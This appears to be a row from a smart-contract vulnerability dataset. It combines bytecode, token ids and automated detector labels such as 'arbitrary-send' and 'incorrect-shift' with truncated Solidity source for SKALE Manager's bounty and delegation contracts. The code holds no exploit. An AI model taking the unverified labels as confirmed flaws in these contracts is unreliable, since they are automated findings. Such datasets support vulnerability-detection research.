3935382c31362e363135203337342e303037204c2031352e353133203337302e3736302031352e363136203336312e39383620432031352e373437203335302e3739342c31352e373539203335302e3732342c31382e383033203334322e343335204c2031392e373331203333392e3930382031382e303836203333382e36383420432031322e333631203333342e3432382c31322e393034203332382e3233332c32302e303836203331352e38333920432032322e373035203331312e3332312c32342e363935203330372e3430382c32352e343736203330352e32343520432032352e373830203330342e3430322c32362e333531203330332e3238382c32362e373435203330322e37363920432032382e373534203330302e3132342c32392e333938203239372e3433342c32392e373037203239302e33393520432032392e393738203238342e3235382c33302e323138203238322e3237382c33312e303039203237392e36373020432033312e333234203237382e3633332c33322e303038203237352e3939372c33322e353238203237332e38313220432033332e303439203237312e3632382c33342e323232203236372e3138362c33352e313336203236332e39343120432033372e333734203235352e3939342c33382e303938203235322e3833332c33382e343138203234392e36313720432034302e383533203232352e3039322c34322e343533203231372e3639392c34362e343534203231322e34373620432034382e333535203230392e3939352c34392e373334203230342e3236362c35312e363132203139312e30343320432035322e323537203138362e3530362c35332e303130203138312e3939382c35332e323836203138312e30323520432035332e393638203137382e3632312c35342e313931203137312e3031302c35342e313738203135302e36313920432035342e313636203133312e3436352c35342e303038203133322e3534322c35382e333935203132312e37343420432036312e373138203131332e3536352c36322e343335203131312e3130312c36322e393231203130362e31383220432036332e3631312039392e3139352c36362e3235382039322e3338332c37322e3238342038322e30383220432037322e3938372038302e3838302c37332e3735352037392e3434382c37332e3939322037382e39303020432037342e3232382037382e3335312c37362e3233392037332e3935362c37382e3436302036392e31333320432038322e3334362036302e3639352c38322e3439392036302e3330372c38322e3439392035382e38363320432038322e3439392035342e3336362c38352e3336342034392e3732312c38392e3436392034372e35363520432039332e3639362034352e3334352c39352e3437382034352e3139312c3130342e3934372034362e3232354142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220c48b9af22d2377f829e7ff65e129212cdfc4194be41596f20589d18fabb4055764736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2620, 10354, 2620, 9818, 2050, 2692, 2620, 2509, 2546, 2487, 7875, 7959, 2050, 2509, 19797, 11329, 12740, 26224, 2063, 27009, 2063, 2629, 3540, 2683, 4215, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,589
0x97097E8f92a7b8BBa51c78C157938B7fA8717886
// SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./delegation/DelegationController.sol"; import "./delegation/PartialDifferences.sol"; import "./delegation/TimeHelpers.sol"; import "./delegation/ValidatorService.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; contract BountyV2 is Permissions { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; function calculateBounty(uint nodeIndex) external allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty); bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool.sub(bounty); _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty); return bounty; } function enableBountyReduction() external onlyOwner { bountyReduction = true; } function disableBountyReduction() external onlyOwner { bountyReduction = false; } function setNodeCreationWindowSeconds(uint window) external allow("Nodes") { nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function populate() external onlyOwner { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers()); uint currentMonth = timeHelpers.getCurrentMonth(); // clean existing data for ( uint i = _effectiveDelegatedSum.firstUnprocessedMonth; i < _effectiveDelegatedSum.lastChangedMonth.add(1); ++i ) { delete _effectiveDelegatedSum.addDiff[i]; delete _effectiveDelegatedSum.subtractDiff[i]; } delete _effectiveDelegatedSum.value; delete _effectiveDelegatedSum.lastChangedMonth; _effectiveDelegatedSum.firstUnprocessedMonth = currentMonth; uint[] memory validators = validatorService.getTrustedValidators(); for (uint i = 0; i < validators.length; ++i) { uint validatorId = validators[i]; uint currentEffectiveDelegated = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth); uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId); if (effectiveDelegated.length > 0) { assert(currentEffectiveDelegated == effectiveDelegated[0]); } uint added = 0; for (uint j = 0; j < effectiveDelegated.length; ++j) { if (effectiveDelegated[j] != added) { if (effectiveDelegated[j] > added) { _effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j); } else { _effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j); } added = effectiveDelegated[j]; } } delete effectiveDelegated; } } function estimateBounty(uint nodeIndex) external view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) { return _getNextRewardTimestamp( nodeIndex, Nodes(contractManager.getContract("Nodes")), TimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, Nodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (now < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize.add(bountyWasPaidInCurrentEpoch), effectiveDelegated, effectiveDelegatedSum, delegated.div(constantsHolder.msr()), bountyPaidToTheValidator ); return bounty; } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty .mul(effectiveDelegated) .div(effectiveDelegatedSum); return _min( totalBountyShare.div(maxNodesAmount), totalBountyShare.sub(paidToValidator) ); } else { return 0; } } function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder)); } } function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _getEpochReward( uint epoch, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch.sub(firstEpoch); uint year = epochIndex.div(EPOCHS_PER_YEAR); if (year >= 6) { uint power = year.sub(6).div(3).add(1); if (power < 256) { return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR); } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year].div(EPOCHS_PER_YEAR); } } function _reduceBounty( uint bounty, uint nodeIndex, Nodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT()); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart); uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1)); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2)); if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) { return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS); } else { return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS)); } } else if (lastRewardMonth.add(1) == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1)); return _min( currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)), currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS) ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart.add(nodeCreationWindowSeconds); } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationController.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../BountyV2.sol"; import "../Nodes.sol"; import "../Permissions.sol"; import "../utils/FractionUtils.sol"; import "../utils/MathUtils.sol"; import "./DelegationPeriodManager.sol"; import "./PartialDifferences.sol"; import "./Punisher.sol"; import "./TokenState.sol"; import "./ValidatorService.sol"; /** * @title Delegation Controller * @dev This contract performs all delegation functions including delegation * requests, and undelegation, etc. * * Delegators and validators may both perform delegations. Validators who perform * delegations to themselves are effectively self-delegating or self-bonding. * * IMPORTANT: Undelegation may be requested at any time, but undelegation is only * performed at the completion of the current delegation period. * * Delegated tokens may be in one of several states: * * - PROPOSED: token holder proposes tokens to delegate to a validator. * - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation. * - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator. * - REJECTED: token proposal expires at the UTC start of the next month. * - DELEGATED: accepted delegations are delegated at the UTC start of the month. * - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator. * - COMPLETED: undelegation request is completed at the end of the delegation period. */ contract DelegationController is Permissions, ILocker { using MathUtils for uint; using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using FractionUtils for FractionUtils.Fraction; uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60; enum State { PROPOSED, ACCEPTED, CANCELED, REJECTED, DELEGATED, UNDELEGATION_REQUESTED, COMPLETED } struct Delegation { address holder; // address of token owner uint validatorId; uint amount; uint delegationPeriod; uint created; // time of delegation creation uint started; // month when a delegation becomes active uint finished; // first month after a delegation ends string info; } struct SlashingLogEvent { FractionUtils.Fraction reducingCoefficient; uint nextMonth; } struct SlashingLog { // month => slashing event mapping (uint => SlashingLogEvent) slashes; uint firstMonth; uint lastMonth; } struct DelegationExtras { uint lastSlashingMonthBeforeDelegation; } struct SlashingEvent { FractionUtils.Fraction reducingCoefficient; uint validatorId; uint month; } struct SlashingSignal { address holder; uint penalty; } struct LockedInPending { uint amount; uint month; } struct FirstDelegationMonth { // month uint value; //validatorId => month mapping (uint => uint) byValidator; } struct ValidatorsStatistics { // number of validators uint number; //validatorId => bool - is Delegated or not mapping (uint => uint) delegated; } /** * @dev Emitted when a delegation is proposed to a validator. */ event DelegationProposed( uint delegationId ); /** * @dev Emitted when a delegation is accepted by a validator. */ event DelegationAccepted( uint delegationId ); /** * @dev Emitted when a delegation is cancelled by the delegator. */ event DelegationRequestCanceledByUser( uint delegationId ); /** * @dev Emitted when a delegation is requested to undelegate. */ event UndelegationRequested( uint delegationId ); /// @dev delegations will never be deleted to index in this array may be used like delegation id Delegation[] public delegations; // validatorId => delegationId[] mapping (uint => uint[]) public delegationsByValidator; // holder => delegationId[] mapping (address => uint[]) public delegationsByHolder; // delegationId => extras mapping(uint => DelegationExtras) private _delegationExtras; // validatorId => sequence mapping (uint => PartialDifferences.Value) private _delegatedToValidator; // validatorId => sequence mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator; // validatorId => slashing log mapping (uint => SlashingLog) private _slashesOfValidator; // holder => sequence mapping (address => PartialDifferences.Value) private _delegatedByHolder; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator; SlashingEvent[] private _slashes; // holder => index in _slashes; mapping (address => uint) private _firstUnprocessedSlashByHolder; // holder => validatorId => month mapping (address => FirstDelegationMonth) private _firstDelegationMonth; // holder => locked in pending mapping (address => LockedInPending) private _lockedInPendingDelegations; mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator; /** * @dev Modifier to make a function callable only if delegation exists. */ modifier checkDelegationExists(uint delegationId) { require(delegationId < delegations.length, "Delegation does not exist"); _; } /** * @dev Update and return a validator's delegations. */ function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) { return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth()); } /** * @dev Update and return the amount delegated. */ function getAndUpdateDelegatedAmount(address holder) external returns (uint) { return _getAndUpdateDelegatedByHolder(holder); } /** * @dev Update and return the effective amount delegated (minus slash) for * the given month. */ function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external allow("Distributor") returns (uint effectiveDelegated) { SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder); effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId] .getAndUpdateValueInSequence(month); _sendSlashingSignals(slashingSignals); } /** * @dev Allows a token holder to create a delegation proposal of an `amount` * and `delegationPeriod` to a `validatorId`. Delegation must be accepted * by the validator before the UTC start of the month, otherwise the * delegation will be rejected. * * The token holder may add additional information in each proposal. * * Emits a {DelegationProposed} event. * * Requirements: * * - Holder must have sufficient delegatable tokens. * - Delegation must be above the validator's minimum delegation amount. * - Delegation period must be allowed. * - Validator must be authorized if trusted list is enabled. * - Validator must be accepting new delegation requests. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external { require( _getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod), "This delegation period is not allowed"); _getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount); _checkIfDelegationIsAllowed(msg.sender, validatorId); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender); uint delegationId = _addDelegation( msg.sender, validatorId, amount, delegationPeriod, info); // check that there is enough money uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender); uint forbiddenForDelegation = TokenState(contractManager.getTokenState()) .getAndUpdateForbiddenForDelegationAmount(msg.sender); require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate"); emit DelegationProposed(delegationId); _sendSlashingSignals(slashingSignals); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows token holder to cancel a delegation proposal. * * Emits a {DelegationRequestCanceledByUser} event. * * Requirements: * * - `msg.sender` must be the token holder of the delegation proposal. * - Delegation state must be PROPOSED. */ function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request"); require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations"); delegations[delegationId].finished = _getCurrentMonth(); _subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); emit DelegationRequestCanceledByUser(delegationId); } /** * @dev Allows a validator to accept a proposed delegation. * Successful acceptance of delegations transition the tokens from a * PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the * delegation period. * * Emits a {DelegationAccepted} event. * * Requirements: * * - Validator must be recipient of proposal. * - Delegation state must be PROPOSED. */ function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require( _getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId), "No permissions to accept request"); _accept(delegationId); } /** * @dev Allows delegator to undelegate a specific delegation. * * Emits UndelegationRequested event. * * Requirements: * * - `msg.sender` must be the delegator. * - Delegation state must be DELEGATED. */ function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) { require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation"); ValidatorService validatorService = _getValidatorService(); require( delegations[delegationId].holder == msg.sender || (validatorService.validatorAddressExists(msg.sender) && delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)), "Permission denied to request undelegation"); _removeValidatorFromValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId); processAllSlashes(msg.sender); delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId); require( now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS) < _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished), "Undelegation requests must be sent 3 days before the end of delegation period" ); _subtractFromAllStatistics(delegationId); emit UndelegationRequested(delegationId); } /** * @dev Allows Punisher contract to slash an `amount` of stake from * a validator. This slashes an amount of delegations of the validator, * which reduces the amount that the validator has staked. This consequence * may force the SKALE Manager to reduce the number of nodes a validator is * operating so the validator can meet the Minimum Staking Requirement. * * Emits a {SlashingEvent}. * * See {Punisher}. */ function confiscate(uint validatorId, uint amount) external allow("Punisher") { uint currentMonth = _getCurrentMonth(); FractionUtils.Fraction memory coefficient = _delegatedToValidator[validatorId].reduceValue(amount, currentMonth); uint initialEffectiveDelegated = _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth); uint[] memory initialSubtractions = new uint[](0); if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) { initialSubtractions = new uint[]( _effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth) ); for (uint i = 0; i < initialSubtractions.length; ++i) { initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId] .subtractDiff[currentMonth.add(i).add(1)]; } } _effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth); _putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); BountyV2 bounty = _getBounty(); bounty.handleDelegationRemoving( initialEffectiveDelegated.sub( _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth) ), currentMonth ); for (uint i = 0; i < initialSubtractions.length; ++i) { bounty.handleDelegationAdd( initialSubtractions[i].sub( _effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)] ), currentMonth.add(i).add(1) ); } } /** * @dev Allows Distributor contract to return and update the effective * amount delegated (minus slash) to a validator for a given month. */ function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month) external allowTwo("Bounty", "Distributor") returns (uint) { return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month); } /** * @dev Return and update the amount delegated to a validator for the * current month. */ function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) { return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth()); } function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) { return _effectiveDelegatedToValidator[validatorId].getValuesInSequence(); } function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month); } function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _delegatedToValidator[validatorId].getValue(month); } /** * @dev Return Delegation struct. */ function getDelegation(uint delegationId) external view checkDelegationExists(delegationId) returns (Delegation memory) { return delegations[delegationId]; } /** * @dev Returns the first delegation month. */ function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) { return _firstDelegationMonth[holder].byValidator[validatorId]; } /** * @dev Returns a validator's total number of delegations. */ function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) { return delegationsByValidator[validatorId].length; } /** * @dev Returns a holder's total number of delegations. */ function getDelegationsByHolderLength(address holder) external view returns (uint) { return delegationsByHolder[holder].length; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } /** * @dev Process slashes up to the given limit. */ function processSlashes(address holder, uint limit) public { _sendSlashingSignals(_processSlashesWithoutSignals(holder, limit)); } /** * @dev Process all slashes. */ function processAllSlashes(address holder) public { processSlashes(holder, 0); } /** * @dev Returns the token state of a given delegation. */ function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) { if (delegations[delegationId].started == 0) { if (delegations[delegationId].finished == 0) { if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) { return State.PROPOSED; } else { return State.REJECTED; } } else { return State.CANCELED; } } else { if (_getCurrentMonth() < delegations[delegationId].started) { return State.ACCEPTED; } else { if (delegations[delegationId].finished == 0) { return State.DELEGATED; } else { if (_getCurrentMonth() < delegations[delegationId].finished) { return State.UNDELEGATION_REQUESTED; } else { return State.COMPLETED; } } } } } /** * @dev Returns the amount of tokens in PENDING delegation state. */ function getLockedInPendingDelegations(address holder) public view returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { return 0; } else { return _lockedInPendingDelegations[holder].amount; } } /** * @dev Checks whether there are any unprocessed slashes. */ function hasUnprocessedSlashes(address holder) public view returns (bool) { return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length; } // private /** * @dev Allows Nodes contract to get and update the amount delegated * to validator for a given month. */ function _getAndUpdateDelegatedToValidator(uint validatorId, uint month) private returns (uint) { return _delegatedToValidator[validatorId].getAndUpdateValue(month); } /** * @dev Adds a new delegation proposal. */ function _addDelegation( address holder, uint validatorId, uint amount, uint delegationPeriod, string memory info ) private returns (uint delegationId) { delegationId = delegations.length; delegations.push(Delegation( holder, validatorId, amount, 